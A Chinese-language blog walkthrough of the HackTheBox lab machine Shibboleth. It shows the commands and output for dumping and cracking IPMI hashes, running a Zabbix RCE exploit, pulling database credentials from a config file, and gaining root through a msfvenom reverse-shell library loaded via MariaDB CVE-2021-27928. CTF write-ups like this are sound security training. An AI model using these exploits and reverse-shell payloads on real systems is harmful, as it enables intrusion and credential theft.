HackTheBox - Shibboleth

本文最后更新于:2022年6月6日 晚上

0x01 Foothold

端口

1
nmap -Pn -sC -sV -v 10.10.11.124
1
2
3
4
5
6
7
PORT   STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.41
|_http-favicon: Unknown favicon MD5: FED84E16B6CCFE88EE7FFAAE5DFEFD34
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: FlexStart Bootstrap Template - Index

shibboleth.htb

主站是一个静态的前端界面,没啥搞头,然后扫描目录也无果,只能先放弃这个站点。

image-20220406192415320

尝试爆破一下子域名,发现扫出来三个子域名,指向同一个站点。

1
wfuzz -u http://shibboleth.htb -H 'Host: FUZZ.shibboleth.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt

image-20220404111614875

zabbix.shibboleth.htb

image-20220404133312567

点击最底下的help可以跳转到如下URL,可以发现是5.0版本的zabbix,考虑google或searchsploit一下对应的exp。

1
https://www.zabbix.com/documentation/5.0/en

image-20220404133933409

在尝试了各种zabbix的常见漏洞后,我觉得可能我路子走错了,于是我回到主站点shibboleth.htb,然后拖到最后发现了一个Bare Metal BMC automation是我之前没有注意到的(论信息收集的重要性)。

image-20220406194739486

Google了一下能够发现zabbix的官方网站提到了IPMI,进一步在wikipedia找到了关于IPMI脆弱性的描述。

image-20220406200458500

image-20220406200704860

Rapid7的这篇文章可以在这里找到。

可以通过nmap对UDP端口进行扫描来验证开启了IPMI服务,注意的是要设置 --min-rate选项和 -F 选项,否则扫描的时间将大大增加。

1
sudo nmap -sU -sV - 10.10.11.124 --min-rate 7500 -F

当然Rapid7出品的msf已经集成了这个模块,首先是使用ipmi_version模块查看IPMI模块的版本。

image-20220404140914348

在确认是有漏洞的IPMI2.0后,使用ipmi_dumphashes模块对其进行hashdump。

image-20220404141019802

然后将dump的hash用hashcat进行爆破,能够得到密码是ilovepumkinpie1

1
hashcat.exe -a 0 -m 7300 hash "password.txt"

也就是我们现在拿到了一对凭据Administrator:ilovepumkinpie1,拿着它可以登录zabbix。

登录后看下版本号,为5.0.17,刚好能和一个授权的RCE对上。

image-20220404191218891

image-20220404191309634

执行exploit即可拿到zabbix的shell。

1
python3 exploit.py http://zabbix.shibboleth.htb/ Administrator ilovepumkinpie1 10.10.16.10 4444
1
2
3
4
5
┌──(kali㉿kali)-[~/桌面/penelope]
└─$ ./penelope.py -Q
zabbix@shibboleth:/$ whoami
zabbix
zabbix@shibboleth:/$

0x02 user.txt

在/home目录下有ipmi-svc用户,里面有user.txt

1
2
zabbix@shibboleth:/home$ ls
ipmi-svc

但zabbix拿不到,需要切换到ipmi-svc用户。

1
2
zabbix@shibboleth:/home/ipmi-svc$ cat user.txt 
cat: user.txt: Permission denied

切换到ipmi-svc用户后就能拿到user.txt了

1
2
3
4
5
6
7
zabbix@shibboleth:/$ su - ipmi-svc
Password:
ipmi-svc@shibboleth:~$ whoami
ipmi-svc
ipmi-svc@shibboleth:~$
ipmi-svc@shibboleth:~$ cat user.txt
d21ead8d************************

0x03 root.txt

首先看看zabbix关于数据库的配置,根据文档得知在/etc/zabbix/zabbix_server.conf

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
ipmi-svc@shibboleth:~$ cd /etc/zabbix
ipmi-svc@shibboleth:/etc/zabbix$ cat zabbix_server.conf | grep -v "^#" | grep .
LogFile=/var/log/zabbix/zabbix_server.log
LogFileSize=0
PidFile=/run/zabbix/zabbix_server.pid
SocketDir=/run/zabbix
DBName=zabbix
DBUser=zabbix
DBPassword=bloooarskybluh
SNMPTrapperFile=/var/log/snmptrap/snmptrap.log
Timeout=4
AlertScriptsPath=/usr/lib/zabbix/alertscripts
ExternalScripts=/usr/lib/zabbix/externalscripts
FpingLocation=/usr/bin/fping
Fping6Location=/usr/bin/fping6
LogSlowQueries=3000
StatsAllowedIP=127.0.0.1

拿到数据库凭据zabbix:bloooarskybluh。登录之,查看数据库密码。

1
2
3
4
5
6
7
8
MariaDB [zabbix]> select alias,passwd from users;              
+---------------+--------------------------------------------------------------+
| alias | passwd |
+---------------+--------------------------------------------------------------+
| Admin | $2y$10$L9tjKByfruByB.BaTQJz/epcbDQta4uRM/KySxSZTwZkMGuKTPPT2 |
| guest | $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06 |
| Administrator | $2y$10$FhkN5OCLQjs3d6C.KtQgdeCc485jKBWPW4igFVEgtIP3jneaN7GQe |
+---------------+--------------------------------------------------------------+

可惜的是这部分最后似乎没啥用,一番探索后看看MariaDB本身是否存在问题,在searchsploit中找一下相关的exp:

image-20220404195651752

然后看一下MariaDB的版本。

1
2
3
4
5
6
7
MariaDB [(none)]> select version();
+----------------------------------+
| version() |
+----------------------------------+
| 10.3.25-MariaDB-0ubuntu0.20.04.1 |
+----------------------------------+
1 row in set (0.000 sec)

再去exploitdb看一下版本,可以看到是符合的。

image-20220406213348531

接着就是按照文件中的指示一步步走,首先生成so文件。

1
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.16.10 LPORT=8888 -f elf-so -o CVE-2021-27928.so

然后在目标机上下载该恶意so文件。

image-20220404201654987

接着输入执行指令,获得root权限。

1
mysql -u zabbix -p -e 'SET GLOBAL wsrep_provider="/tmp/CVE-2021-27928.so";'

image-20220404202225630

0x04 Summary

这是一个Medium难度的Linux靶机,主要考察内容如下:

  • 子域名收集
  • 历史CVE利用
  • hash破解
  • 配置文件利用

HackTheBox - Shibboleth
https://m0ck1ng-b1rd.github.io/2022/04/13/HTB/Shibboleth/
作者
何语灵
发布于
2022年4月13日
许可协议